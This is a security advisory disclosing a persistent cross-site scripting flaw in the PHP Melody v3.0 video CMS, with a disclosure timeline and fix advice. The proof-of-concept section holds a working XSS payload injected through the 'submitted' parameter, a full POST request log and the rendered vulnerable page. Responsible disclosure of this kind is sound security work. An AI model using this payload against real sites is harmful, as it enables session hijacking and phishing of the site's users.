===============
PHP Melody v3.0 - (submitted) Persistent XSS Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2292
Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/
Release Date:
=============
2021-10-21
Vulnerability Laboratory ID (VL-ID):
====================================
2292
Common Vulnerability Scoring System:
====================================
5.6
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Upload, import, stream or embed any media. The smart way to manage
audio & video. Comes with all the tools you need for online
publishing.
Beautiful content for your site. Allow users to create their
channels, subscribe and follow the content they like. Podcast,
mini-series,
TV shows or movies. Everything is easier to publish with our CMS.
Invest in a Secure Foundation. Build with a proven CMS.
(Copy of the Homepage: https://www.phpsugar.com/phpmelody.html )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a
persistent cross site web vulnerability in the PHP Melody v3.0
video cms web-application.
Affected Product(s):
====================
PHPSUGAR
Product: PHP Melody v3.0 - Video CMS (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security
Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-09-04: Vendor Response/Feedback (Security Department)
2021-09-22: Vendor Fix/Patch (Service Developer Team)
2021-09-22: Security Acknowledgements (Security Department)
2021-10-20: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Moderator Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered
in PHP Melody v3.0 video cms web-application.
The vulnerability allows remote attackers to inject own malicious
script codes with persistent attack vector to
compromise browser to web-application requests from the
application-side.
The persistent input validation web vulnerability is located in
the `submitted` parameter of the `edit-video.php`.
Remote attackers with privileged user accounts like editors or
moderators are able to inject own malicious script
code as author that submits. The request method to inject is post
and the execution occurs with persistent attack
vector in the `watch.php` frontend file.
Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation
of affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Edit Video
Vulnerable File(s):
[+] edit-video.php
Vulnerable Parameter(s):
[+] submitted
Affected File(s):
[+] watch.php
Proof of Concept (PoC):
=======================
The persistent validation vulnerability can be exploited by remote
attackers with privileged editor user account and with low user
interaction.
For security demonstration or to reproduce the web vulnerability
follow the provided information and steps below to continue.
PoC: Example Exploitation
[Username]"><[PAYLOAD]">
PoC: Payload
admin"><iframe src="/evil.source"
onload="alert(document.domain)">
--- PoC Session Logs (POST) [edit-video.php - submitted] ---
https://phpmelody.localhost:8080/admin/edit-video.php?vid=22389808b
Host: phpmelody.localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data;
boundary=---------------------------3331529921260143328403993122
Content-Length: 6517
Origin: https://phpmelody.localhost:8080
Connection: keep-alive
Referer:
https://phpmelody.localhost:8080/admin/edit-video.php?vid=22389808b
Cookie:
PHPSESSID=2ae8ef3142c4517892e6333cee49612a;melody_d900e07810ba03257e53baf46a9ada6f=admin;
melody_key_p900e07810ba03257e53baf46a9ada3c=cc33e6eb60d2c1e31a5612bd8c193c22;
sidebar-main-state=maxi; watched_video_list=MTI0LDE%3D;
pm_elastic_player=normal
post:
submit=Save&video_title=Hi-
Test&video_slug=martin-garrix-high-on-life-ft-bonn&file=,,&description=<p>test2</p>&tags=high,high
on
life,martin,garrix&yt_min=3&yt_sec=48&yt_length=228&allow_comments=1&allow_embedding=1&restricted=0&site_views=6&site_views_input=6&date_month=9&date_day=03
&date_year=2021&date_hour=07&date_min=00&date_ampm=am&date_sec=09&submitted=admin"><iframe
src=evil.source onload=alert(document.domain)>
&direct=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g&direct-original=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g
&url_flv=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g&url_flv-original=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g&embed_code=
&meta_key=&meta_value=&meta_item_id=1&meta_item_type=1&yt_thumb=//i.test.com/vi/Vbv4hD2jG2g/mqdefault.jpg
&yt_thumb_old=//i.test.com/vi/Vbv4hD2jG2g/mqdefault.jpg&add_category_name=&add_category_slug=&add_category_parent_id=-1
&categories_old=1,19,1,19&category[]=1,19&language=,1&uniq_id=22389808b&source_id=0&added_old=1630652409&upload-type=&p=upload&do=upload-image&video_type=1
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=utf-8
x-powered-by: PHP/5.4.34
Vulnerable Source: watch.php
<div id="content-main" class="container-fluid">
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-8 pm-video-watch-main"
itemprop="video" itemscope=""
itemtype="http://schema.org/VideoObject">
<div class="row pm-user-header">
<div class="col-xs-3 col-sm-1 col-md-1">
<a href="/"><img src="/" class="pm-round-avatar" alt=""
width="40" height="40" border="0"></a>
</div>
<div class="col-xs-9 col-sm-8 col-md-8">
<div class="pm-video-posting-info">
<div class="author"><a href="/">admin"><iframe src="/evil.source" onload="alert(document.domain)">[MALICIOUS
SCRIPT CODE EXECUTION!]</a> </div>
<div class="publish-date">Published <time
datetime="2021-09-03T07:00:09+0000" title="Friday, September 3,
2021 7:00 AM">Sep 3, 2021</time></div>
</div></div>
<div class="col-xs-2 col-sm-3 col-md-3">
<div class="pull-right">
<button id="btn_follow_" class="btn btn-sm btn-success
btn-follow" data-user-id="">Subscribe</button>
</div></div></div>
Reference(s):
https://phpmelody.localhost:8080/admin/
https://phpmelody.localhost:8080/watch.php
https://phpmelody.localhost:8080/admin/edit-video.php
Solution - Fix & Patch:
=======================
The vulnerability can be resolved by the following steps ...
1. Encode, escape or filter the vulnerable submitted parameter in
the post method request
2. Restrict all the transmitted parameter by disallowing the usage
of special chars
3. Sanitize the watch.php output location to prevent the execution
point
4. Alternativ setup security headers and a web firewall or filter
to prevent further exploitation
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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=========================
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